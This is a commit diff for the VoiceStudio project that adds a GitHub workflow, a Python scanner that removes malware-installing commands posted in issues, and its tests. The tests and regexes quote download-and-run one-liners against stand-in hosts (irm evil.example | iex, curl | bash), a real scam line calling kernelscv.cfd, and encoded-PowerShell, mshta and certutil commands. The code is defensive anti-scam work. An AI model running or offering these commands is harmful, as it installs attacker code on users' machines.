VoiceStudio is the open-source, fully-local ElevenLabs alternative — voice cloning, voice design, video dubbing, dictation, transcription & audiobook creation in 646 languages.
Python aiaudiobookcudadubbingelevenlabs-alternativehuggingfacelocal-firstmlxomnivoice-studiospeech-to-texttext-to-speechtranscriptiontranslatettsvoice-aivoice-cloningvoice-generationvoicestudioworkflow
ci: remove malware commands posted in issues and comments
Shimul Debnath95fec1d5afce
diff --git a/.github/scripts/scam_guard.py b/.github/scripts/scam_guard.pynew file mode 100644index 000000000..a45047b3b--- /dev/null+++ b/.github/scripts/scam_guard.py@@ -0,0 +1,219 @@+#!/usr/bin/env python3+"""Remove malware commands posted in issues and comments.++Scammers open fake "[GUIDE] backend fix" issues (and reply to real bug reports)+telling people to paste a command such as `irm evil.example | iex` into+PowerShell. That command downloads a script from the scammer's site and runs+it. This check finds commands that download code and execute it in one step,+and removes them unless the download comes from a source the project's own+docs use (ALLOWED_SOURCES).++Runs from .github/workflows/scam-guard.yml on the default branch's copy of this+file. Standard library only.++A flagged issue has its title and body replaced, is labelled, closed and+locked; GitHub keeps the old text in the edit history, so a maintainer still+deletes the issue by hand. A flagged comment is deleted and the thread gets one+warning. Owners, members and collaborators are never checked. Logs name the+rule that matched, never the command.+"""+from __future__ import annotations++import json+import os+import re+import sys+import unicodedata+import urllib.error+import urllib.request+from dataclasses import dataclass++LABEL = "malware-removed"+WARNING_MARKER = "<!-- voicestudio-scam-guard -->"+TRUSTED_ASSOCIATIONS = {"OWNER", "MEMBER", "COLLABORATOR"}++# (host, path prefix) pairs that README/docs tell people to pipe into a shell.+ALLOWED_SOURCES = [+ ("voicestudio.sh", "/"),+ ("raw.githubusercontent.com", "/debpalash/VoiceStudio/"),+ ("github.com", "/debpalash/VoiceStudio/"),+ ("bun.sh", "/"),+ ("astral.sh", "/"),+ ("sh.rustup.rs", "/"),+]++ISSUE_TITLE = "Removed: malicious instructions"+ISSUE_BODY = f"""{WARNING_MARKER}+> [!CAUTION]+> This issue told people to run a command that downloads and runs a program from an unknown website. That is how malware gets installed, so the instructions were removed.+>+> **VoiceStudio maintainers never ask you to paste commands from an issue or comment.** Install and update VoiceStudio only from the [Releases page](https://github.com/debpalash/VoiceStudio/releases) or the commands in the README.+>+> If you already ran it: disconnect from the internet, run a full antivirus scan, and change passwords you use on that computer from a different device.+"""+COMMENT_WARNING = f"""{WARNING_MARKER}+> [!CAUTION]+> A comment on this thread told people to run a command that downloads and runs a program from an unknown website. It was removed because that is how malware gets installed.+>+> **VoiceStudio maintainers never ask you to paste commands from an issue or comment.** Install and update VoiceStudio only from the [Releases page](https://github.com/debpalash/VoiceStudio/releases) or the commands in the README.+"""+++# ── Pure logic (unit-tested) ────────────────────────────────────────────++# Invisible characters scammers use to break up keywords.+_INVISIBLE = re.compile("[--]")+_FETCH = re.compile(+ r"\b(?:irm|iwr|invoke-restmethod|invoke-webrequest|curl(?:\.exe)?|wget|"+ r"downloadstring|downloadfile|start-bitstransfer)\b",+ re.I,+)+_EXECUTE = re.compile(+ r"\|\s*(?:iex|invoke-expression|(?:sudo\s+)?(?:ba|z|da)?sh|python3?|node|perl)\b"+ r"|\b(?:iex|invoke-expression)\s*[(\"'$]"+ r"|\b(?:ba|z)?sh\s+-c\s+[\"']?\$\("+ r"|\bstart-process\b",+ re.I,+)+# A host ends in an alphabetic TLD, so flags like --tlsv1.2 are not hosts.+# Group 1 is any userinfo: in https://[email protected] the host is evil.example.+_HOST = re.compile(r"(?:https?://)?([^\s/@'\"|;`]+@)?((?:[a-z0-9-]+\.)+[a-z]{2,})(/[^\s'\"|;)`]*)?", re.I)+# The download target comes before the pipe (or `;`) that hands it to the shell.+_TARGET_END = re.compile(r"[|;]")+# A download target we cannot vouch for: a variable or a bare IP address. Prose+# such as "the `irm | iex` command" or "`curl ... | sh`" names no target at all.+_HIDDEN_TARGET = re.compile(r"\$[a-z_{(]|\b\d{1,3}(?:\.\d{1,3}){3}\b", re.I)+# Commands that are dangerous whatever they point at.+_ALWAYS = [+ ("encoded-powershell", re.compile(r"\b(?:powershell|pwsh)(?:\.exe)?\b[^\n]*\s-e(?:nc?|ncodedcommand)?\s+[a-z0-9+/=]{16,}", re.I)),+ ("mshta", re.compile(r"\bmshta(?:\.exe)?\s+\S", re.I)),+ ("certutil-download", re.compile(r"\bcertutil(?:\.exe)?\b[^\n]*-urlcache", re.I)),+ ("rundll32-url", re.compile(r"\brundll32(?:\.exe)?\b[^\n]*https?://", re.I)),+]+++@dataclass+class Finding:+ rule: str+ source: str | None = None # the host a download-and-run command fetches+++def normalise(text: str) -> str:+ return _INVISIBLE.sub("", unicodedata.normalize("NFKC", text or ""))+++def allowed(host: str, path: str) -> bool:+ host = host.lower().removeprefix("www.")+ path = path or "/"+ if re.search(r"\.\.|%2e%2e|%2f|\\", path, re.I): # could climb out of an allowed prefix+ return False+ return any(host == h and (path.lower() + "/").startswith(p.lower()) for h, p in ALLOWED_SOURCES)+++def scan(text: str) -> list[Finding]:+ """Download-and-run commands from unlisted sources, plus always-bad commands."""+ text = normalise(text)+ findings = [Finding(rule) for rule, pattern in _ALWAYS if pattern.search(text)]+ for line in re.split(r"[\r\n]+", text):+ if not _EXECUTE.search(line):+ continue+ fetches = list(_FETCH.finditer(line))+ for i, fetch in enumerate(fetches):+ end = fetches[i + 1].start() if i + 1 < len(fetches) else len(line)+ pipe = _TARGET_END.search(line, fetch.end(), end)+ end = pipe.start() if pipe else end+ # curl and wget take several URLs, so every host in the target must be allowed.+ hosts = list(_HOST.finditer(line, fetch.end(), end))+ if not hosts:+ if _HIDDEN_TARGET.search(line, fetch.end(), end):+ findings.append(Finding("download-and-run"))+ continue+ bad = next((h for h in hosts if h.group(1) or not allowed(h.group(2), h.group(3))), None)+ if bad:+ findings.append(Finding("download-and-run", bad.group(2).lower()))+ return findings+++def describe(findings: list[Finding]) -> str:+ return ", ".join(f"{f.rule} ({f.source})" if f.source else f.rule for f in findings)+++# ── GitHub API ──────────────────────────────────────────────────────────+++class GitHub:+ def __init__(self, token: str, repo: str, api: str = "https://api.github.com"):+ self.token, self.repo, self.api = token, repo, api.rstrip("/")++ def request(self, method: str, path: str, body: dict | None = None) -> tuple[int, object]:+ data = json.dumps(body).encode() if body is not None else None+ req = urllib.request.Request(f"{self.api}{path}", data=data, method=method)+ req.add_header("Authorization", f"Bearer {self.token}")+ req.add_header("Accept", "application/vnd.github+json")+ req.add_header("X-GitHub-Api-Version", "2022-11-28")+ try:+ with urllib.request.urlopen(req, timeout=30) as resp:+ raw = resp.read()+ return resp.status, json.loads(raw) if raw else None+ except urllib.error.HTTPError as err:+ raw = err.read()+ try:+ return err.code, json.loads(raw) if raw else None+ except ValueError:+ return err.code, None++ def call(self, method: str, path: str, body: dict | None = None, ok: tuple[int, ...] = (200, 201, 204)) -> object:+ status, payload = self.request(method, path, body)+ if status not in ok:+ raise RuntimeError(f"{method} {path} failed with {status}: {payload}")+ return payload+++def remove_issue(gh: GitHub, number: int) -> None:+ base = f"/repos/{gh.repo}/issues/{number}"+ gh.call("PATCH", base, {"title": ISSUE_TITLE, "body": ISSUE_BODY,+ "state": "closed", "state_reason": "not_planned"})+ gh.call("POST", f"{base}/labels", {"labels": [LABEL]})+ # 422 when the issue is already locked.+ gh.call("PUT", f"{base}/lock", {"lock_reason": "spam"}, ok=(204, 422))+++def remove_comment(gh: GitHub, number: int, comment_id: int) -> None:+ gh.call("DELETE", f"/repos/{gh.repo}/issues/comments/{comment_id}", ok=(204, 404))+ comments = gh.call("GET", f"/repos/{gh.repo}/issues/{number}/comments?per_page=100")+ if not any(WARNING_MARKER in (c.get("body") or "") for c in comments):+ gh.call("POST", f"/repos/{gh.repo}/issues/{number}/comments", {"body": COMMENT_WARNING})+ gh.call("POST", f"/repos/{gh.repo}/issues/{number}/labels", {"labels": [LABEL]})+++def run(gh: GitHub, event_name: str, event: dict) -> str:+ """Checks the event's issue or comment; returns what happened, for the log."""+ issue = event["issue"]+ target = event["comment"] if event_name == "issue_comment" else issue+ who = target["user"]["login"]+ if target.get("author_association") in TRUSTED_ASSOCIATIONS or target["user"].get("type") == "Bot":+ return f"#{issue['number']}: skipped trusted author {who}"+ text = target.get("body") or ""+ if target is issue:+ text = f"{issue.get('title') or ''}\n{text}"+ findings = scan(text)+ if not findings:+ return f"#{issue['number']}: clean"+ if target is issue:+ remove_issue(gh, issue["number"])+ return f"#{issue['number']}: removed issue by {who}: {describe(findings)}"+ remove_comment(gh, issue["number"], target["id"])+ return f"#{issue['number']}: removed comment {target['id']} by {who}: {describe(findings)}"+++def main() -> int:+ with open(os.environ["GITHUB_EVENT_PATH"], encoding="utf-8") as handle:+ event = json.load(handle)+ gh = GitHub(os.environ["GITHUB_TOKEN"], os.environ["GITHUB_REPOSITORY"],+ os.environ.get("GITHUB_API_URL", "https://api.github.com"))+ print("Scam guard:", run(gh, os.environ["GITHUB_EVENT_NAME"], event))+ return 0+++if __name__ == "__main__":+ sys.exit(main())diff --git a/.github/workflows/scam-guard.yml b/.github/workflows/scam-guard.ymlnew file mode 100644index 000000000..50229a3b5--- /dev/null+++ b/.github/workflows/scam-guard.yml@@ -0,0 +1,44 @@+# Scam guard — removes malware commands posted in issues and comments.+#+# Scammers post fake "[GUIDE] backend fix" issues (#3208, #3211) and replies+# telling people to paste `irm <their site> | iex` into PowerShell, with fake+# "+1 works now" replies seconds later. .github/scripts/scam_guard.py removes+# commands that download and run code from anywhere the README/docs do not+# use: a flagged issue is redacted, closed, locked and labelled+# `malware-removed`; a flagged comment is deleted and the thread warned once.+# A maintainer still deletes the issue (GitHub keeps edit history) and reports+# and blocks the account; GitHub has no API for abuse reports.+#+# Security: issues and issue_comment run with a write token on text anyone can+# post. The job checks out only the default branch's .github/scripts and reads+# the text from the event file; it is never interpolated into a command.++name: scam-guard++on:+ issues:+ types: [opened, edited, reopened]+ issue_comment:+ types: [created, edited]++permissions:+ contents: read++jobs:+ guard:+ name: Scam guard+ runs-on: ubuntu-24.04+ timeout-minutes: 5+ permissions:+ contents: read+ issues: write+ pull-requests: write # deleting comments on pull requests+ steps:+ - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0+ with:+ persist-credentials: false+ sparse-checkout: .github/scripts+ - name: Remove malware commands+ run: python3 .github/scripts/scam_guard.py+ env:+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}diff --git a/tests/test_scam_guard.py b/tests/test_scam_guard.pynew file mode 100644index 000000000..c3f27afbb--- /dev/null+++ b/tests/test_scam_guard.py@@ -0,0 +1,170 @@+"""Unit tests for .github/scripts/scam_guard.py (removes malware commands from issues)."""+from __future__ import annotations++import importlib.util+import re+import sys+from pathlib import Path++import pytest++_ROOT = Path(__file__).resolve().parents[1]+_spec = importlib.util.spec_from_file_location("scam_guard", _ROOT / ".github" / "scripts" / "scam_guard.py")+guard = importlib.util.module_from_spec(_spec)+sys.modules["scam_guard"] = guard # dataclasses resolve their module by name+_spec.loader.exec_module(guard)++# Issue #3208 / #3211: the GitHub URL is a decoy string; the command runs kernelscv.cfd.+SCAM_3208 = (+ "### Method 1 - PowerShell \n1. Click the **Start Menu**, type `PowerShell`, and open it.\n"+ "2. Copy and paste the code below and press **Enter.**\n\n```powershell\n"+ '"VoiceStudioInstaller-fixed;https://github.com/debpalash/VoiceStudio/releases/tag/v0.5.6";'+ "irm kernelscv.cfd | iex\n```"+)+++# ── Detection ───────────────────────────────────────────────────────────+++def test_the_3208_scam_is_caught_despite_the_decoy_url():+ [finding] = guard.scan(SCAM_3208)+ assert (finding.rule, finding.source) == ("download-and-run", "kernelscv.cfd")++[email protected]("text", [+ "iex (irm https://evil.example/a.ps1)",+ "iex(New-Object Net.WebClient).DownloadString('http://evil.example/x')",+ "Invoke-WebRequest -UseBasicParsing evil.example/fix | Invoke-Expression",+ "irm evil.example|iex",+ "IRM EVIL.EXAMPLE | IEX",+ "curl -fsSL https://evil.example/fix.sh | bash",+ "wget -qO- http://evil.example/fix | sudo sh",+ "curl.exe -s evil.example/p | python3",+ 'sh -c "$(curl -fsSL https://evil.example/install)"',+ "irm $u | iex", # target hidden in a variable+ "irm 203.0.113.9/x | iex", # bare IP+ "irm evil.example | iex", # zero-width characters+ "irm https://voicestudio.sh.evil.example | iex", # lookalike host+ "irm https://github.com/someone-else/VoiceStudio/raw/x.ps1 | iex",+ "irm https://raw.githubusercontent.com/debpalash/VoiceStudioFix/main/x | iex",+ # Allowlist tricks: userinfo, climbing out of the prefix, a second URL.+ "irm https://[email protected]/x | iex",+ "irm https://github.com/debpalash/VoiceStudio/../../evil/x/raw/a.ps1 | iex",+ "irm https://github.com/debpalash/VoiceStudio/%2e%2e/%2e%2e/evil/a.ps1 | iex",+ "curl -fsSL https://voicestudio.sh/install https://evil.example/x | sh",+])+def test_download_and_run_from_unlisted_sources_is_caught(text):+ assert [f.rule for f in guard.scan(text)] == ["download-and-run"]++[email protected]("text, rule", [+ ("powershell -enc SQBFAFgAIAAoAGkAcgBtACkA", "encoded-powershell"),+ ("pwsh.exe -NoP -EncodedCommand SQBFAFgAIAAoAGkAcgBtACkA", "encoded-powershell"),+ ("Press Win+R and run: mshta https://evil.example/x.hta", "mshta"),+ ("certutil -urlcache -split -f http://evil.example/a.exe a.exe", "certutil-download"),+ ("rundll32 url.dll,FileProtocolHandler https://evil.example/a", "rundll32-url"),+])+def test_always_dangerous_commands_are_caught(text, rule):+ assert rule in [f.rule for f in guard.scan(text)]+++def _documented_install_commands() -> list[str]:+ text = (_ROOT / "README.md").read_text(encoding="utf-8")+ for doc in sorted((_ROOT / "docs").rglob("*.md")):+ text += "\n" + doc.read_text(encoding="utf-8")+ commands = re.findall(r"(?:irm|curl)[^`\"\n]*\|\s*(?:iex|bash|sh)\b", text)+ assert commands, "README/docs no longer show install commands; update this test"+ return sorted(set(commands))++[email protected]("text", _documented_install_commands())+def test_install_commands_from_the_docs_are_allowed(text):+ # Users paste these into bug reports (for example #2973); they must survive.+ assert guard.scan(text) == []++[email protected]("text", [+ "spawn UNKNOWN when starting the backend on Windows 11",+ "I ran `irm https://voicestudio.sh/install.ps1 | iex` and got ImportError: DLL load failed",+ "curl http://127.0.0.1:3900/health returns connection refused",+ "Downloaded the installer with curl -O https://evil.example/file and checked it",+ "pip install torch --index-url https://download.pytorch.org/whl/cu121",+ "The log says: | iex is not recognised",+ "irm https://voicestudio.sh/install.ps1 | iex, then see https://example.com/notes",+ # Real issues describing the pattern without a target (#2973, #1628).+ "[Install] Windows PowerShell command (irm | iex) downloads Linux/macOS bash script",+ "`curl ... | sh` currently clones the repo and builds from source",+])+def test_ordinary_bug_reports_are_left_alone(text):+ assert guard.scan(text) == []+++# ── Event handling ──────────────────────────────────────────────────────+++class FakeGitHub:+ repo = "debpalash/VoiceStudio"++ def __init__(self, comments=()):+ self.calls: list[tuple] = []+ self.comments = list(comments)++ def call(self, method, path, body=None, ok=(200, 201, 204)):+ self.calls.append((method, path, body))+ return self.comments if method == "GET" else None+++def issue(body, association="NONE", user_type="User", title="[GUIDE] backend fix"):+ return {"number": 3208, "title": title, "body": body, "author_association": association,+ "user": {"login": "Griffingroinverter", "type": user_type}}+++def comment(body, association="NONE"):+ return {"id": 77, "body": body, "author_association": association,+ "user": {"login": "Signalpluflue34", "type": "User"}}+++def test_a_scam_issue_is_redacted_closed_labelled_and_locked():+ gh = FakeGitHub()+ log = guard.run(gh, "issues", {"issue": issue(SCAM_3208)})+ assert "kernelscv.cfd" in log and "irm" not in log # the log never repeats the command+ (_, _, edit), (_, labels_path, labels), (_, lock_path, lock) = gh.calls+ assert edit["title"] == guard.ISSUE_TITLE and "kernelscv" not in edit["body"]+ assert edit["state"] == "closed"+ assert labels == {"labels": [guard.LABEL]} and lock_path.endswith("/3208/lock")+ assert lock == {"lock_reason": "spam"}+++def test_a_scam_comment_is_deleted_and_the_thread_warned_once():+ gh = FakeGitHub()+ guard.run(gh, "issue_comment", {"issue": issue("spawn UNKNOWN"), "comment": comment(SCAM_3208)})+ methods = [(m, p) for m, p, _ in gh.calls]+ assert ("DELETE", "/repos/debpalash/VoiceStudio/issues/comments/77") in methods+ assert ("POST", "/repos/debpalash/VoiceStudio/issues/3208/comments") in methods++ warned = FakeGitHub(comments=[{"body": guard.COMMENT_WARNING}])+ guard.run(warned, "issue_comment", {"issue": issue("spawn UNKNOWN"), "comment": comment(SCAM_3208)})+ assert ("POST", "/repos/debpalash/VoiceStudio/issues/3208/comments") not in [(m, p) for m, p, _ in warned.calls]+++def test_a_scam_command_in_the_title_is_caught():+ gh = FakeGitHub()+ guard.run(gh, "issues", {"issue": issue("see title", title="Fix: irm evil.example | iex")})+ assert gh.calls++[email protected]("association", ["OWNER", "MEMBER", "COLLABORATOR"])+def test_maintainers_are_never_touched(association):+ gh = FakeGitHub()+ assert "skipped" in guard.run(gh, "issues", {"issue": issue(SCAM_3208, association)})+ assert gh.calls == []+++def test_bots_are_never_touched():+ gh = FakeGitHub()+ guard.run(gh, "issues", {"issue": issue(SCAM_3208, user_type="Bot")})+ assert gh.calls == []+++def test_the_warnings_themselves_are_clean():+ assert guard.scan(guard.ISSUE_BODY) == [] and guard.scan(guard.COMMENT_WARNING) == []